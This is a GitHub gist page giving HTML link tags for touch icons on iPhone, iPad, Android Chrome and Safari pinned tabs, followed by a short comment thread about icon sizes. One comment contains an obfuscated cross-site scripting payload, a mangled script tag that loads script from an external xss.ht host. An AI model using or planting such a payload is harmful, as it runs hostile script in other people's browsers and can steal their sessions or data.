Last active
October 11, 2024 23:52
-
-
Save kevinSuttle/9835773 to your computer and use it in GitHub Desktop.
Touch icon link syntax
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- For non-Retina iPhone, iPod Touch, and Android 2.1+ devices: --> | |
<link rel="apple-touch-icon-precomposed" href="apple-touch-icon-precomposed.png"> | |
<!-- For the iPad mini and the first- and second-generation iPad on iOS ≤ 6: --> | |
<link rel="apple-touch-icon-precomposed" sizes="72x72" href="apple-touch-icon-72x72-precomposed.png"> | |
<!-- For the iPad mini and the first- and second-generation iPad on iOS ≥ 7: --> | |
<link rel="apple-touch-icon-precomposed" sizes="76x76" href="apple-touch-icon-76x76-precomposed.png"> | |
<!-- For iPhone with high-resolution Retina display running iOS ≤ 6: --> | |
<link rel="apple-touch-icon-precomposed" sizes="114x114" href="apple-touch-icon-114x114-precomposed.png"> | |
<!-- For iPhone with high-resolution Retina display running iOS ≥ 7: --> | |
<link rel="apple-touch-icon-precomposed" sizes="120x120" href="apple-touch-icon-120x120-precomposed.png"> | |
<!-- For iPad with high-resolution Retina display running iOS ≤ 6: --> | |
<link rel="apple-touch-icon-precomposed" sizes="144x144" href="apple-touch-icon-144x144-precomposed.png"> | |
<!-- For iPad with high-resolution Retina display running iOS ≥ 7: --> | |
<link rel="apple-touch-icon-precomposed" sizes="152x152" href="apple-touch-icon-152x152-precomposed.png"> | |
<!-- Chrome v31+ for Android --> | |
<link rel="icon" sizes="192x192" href="apple-touch-icon.png"> | |
<!-- Apple "pinned tab" icons --> | |
<link rel="mask-icon" href="website_icon.svg" color="red"> | |
found this through a series of links. is this the latest recommendation in your opinion for just the full icon markup to be used?
196x196 seems to be outdated, I think it should be 192x192 instead, see https://developer.chrome.com/multidevice/android/installtohomescreen#icon and https://realfavicongenerator.net/blog/android-chrome-and-its-favicon/
[“><ScRiPt/ScRiPt/scRipT/sR/SrC=https://babuji.xss.ht><! —](“><ScRiPt/ScRiPt/scRipT/sR/SrC=https://babuji.xss.ht><! —)
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Apple HIG
http://mathiasbynens.be/notes/touch-icons
Windows 8 application icons